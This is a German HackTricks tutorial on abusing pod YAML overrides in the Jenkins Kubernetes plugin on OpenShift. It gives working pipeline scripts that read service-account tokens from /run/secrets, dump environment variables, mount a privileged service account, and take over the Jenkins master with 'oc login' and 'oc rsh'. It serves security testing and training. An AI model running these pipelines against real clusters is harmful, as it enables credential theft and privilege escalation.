Jenkins in Openshift - Build-Pod-Overrides

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Der ursprüngliche Autor dieser Seite ist Fares

Kubernetes-Plugin für Jenkins

Dieses Plugin ist hauptsächlich für die Kernfunktionen von Jenkins innerhalb eines Openshift/Kubernetes-Clusters verantwortlich. Offizielle Dokumentation hier Es bietet einige Funktionalitäten, wie die Möglichkeit für Entwickler, einige Standardkonfigurationen eines Jenkins-Build-Pods zu überschreiben.

Kernfunktionalität

Dieses Plugin ermöglicht Entwicklern Flexibilität beim Erstellen ihres Codes in einer geeigneten Umgebung.

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Einige Missbräuche durch die Nutzung von Pod-YAML-Overrides

Es kann jedoch missbraucht werden, um jedes zugängliche Image wie Kali Linux zu verwenden und beliebige Befehle mit vorinstallierten Tools aus diesem Image auszuführen. Im folgenden Beispiel können wir das Serviceaccount-Token des laufenden Pods exfiltrieren.

groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Eine andere Syntax, um dasselbe Ziel zu erreichen.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Beispiel zum Überschreiben des Namensraums des Pods

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Ein weiteres Beispiel, das versucht, ein Servicekonto zu mounten (das möglicherweise mehr Berechtigungen hat als das Standardkonto, das Ihren Build ausführt), basierend auf seinem Namen. Möglicherweise müssen Sie zuerst vorhandene Servicekonten erraten oder auflisten.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Die gleiche Technik gilt für den Versuch, ein Secret zu mounten. Das Endziel hier wäre herauszufinden, wie man den Pod-Build so konfiguriert, dass man effektiv pivotieren oder Privilegien erlangen kann.

Weiterführend

Sobald Sie sich daran gewöhnt haben, damit zu spielen, nutzen Sie Ihr Wissen über Jenkins und Kubernetes/Openshift, um Fehlkonfigurationen / Missbräuche zu finden.

Stellen Sie sich die folgenden Fragen:

  • Welches Servicekonto wird verwendet, um Build-Pods bereitzustellen?
  • Welche Rollen und Berechtigungen hat es? Kann es Secrets des Namespaces lesen, in dem ich mich gerade befinde?
  • Kann ich weitere Build-Pods auflisten?
  • Kann ich von einem kompromittierten sa aus Befehle auf dem Master-Knoten/Pod ausführen?
  • Kann ich den Cluster weiter auflisten, um woanders zu pivotieren?
  • Welches SCC ist angewendet?

Sie können herausfinden, welche oc/kubectl-Befehle auszuführen sind hier und hier.

Mögliche privesc/pivoting Szenarien

Angenommen, während Ihrer Bewertung haben Sie herausgefunden, dass alle Jenkins-Bauten in einem Namespace namens worker-ns ausgeführt werden. Sie haben herausgefunden, dass ein Standard-Servicekonto namens default-sa auf den Build-Pods gemountet ist, jedoch hat es nicht so viele Berechtigungen, außer Lesezugriff auf einige Ressourcen, aber Sie konnten ein vorhandenes Servicekonto namens master-sa identifizieren. Angenommen, Sie haben auch den oc-Befehl im laufenden Build-Container installiert.

Mit dem folgenden Build-Skript können Sie die Kontrolle über das master-sa Servicekonto übernehmen und weiter auflisten.

groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Je nach Ihrem Zugriff müssen Sie entweder Ihren Angriff vom Build-Skript aus fortsetzen oder Sie können sich direkt als dieser sa im laufenden Cluster anmelden:

bash
oc login --token=$token --server=https://apiserver.com:port

Wenn dieser sa über ausreichende Berechtigungen verfügt (wie pod/exec), können Sie auch die gesamte Jenkins-Instanz übernehmen, indem Sie Befehle im Pod des Masterknotens ausführen, sofern er im selben Namespace läuft. Sie können diesen Pod leicht anhand seines Namens und der Tatsache identifizieren, dass er ein PVC (Persistent Volume Claim) einbinden muss, das zur Speicherung von Jenkins-Daten verwendet wird.

bash
oc rsh pod_name -c container_name

Falls das Master-Node-Pod nicht im selben Namespace wie die Worker läuft, können Sie ähnliche Angriffe versuchen, indem Sie den Master-Namespace anvisieren. Angenommen, er heißt jenkins-master. Beachten Sie, dass das Servicekonto master-sa im Namespace jenkins-master existieren muss (und möglicherweise nicht im Namespace worker-ns existiert).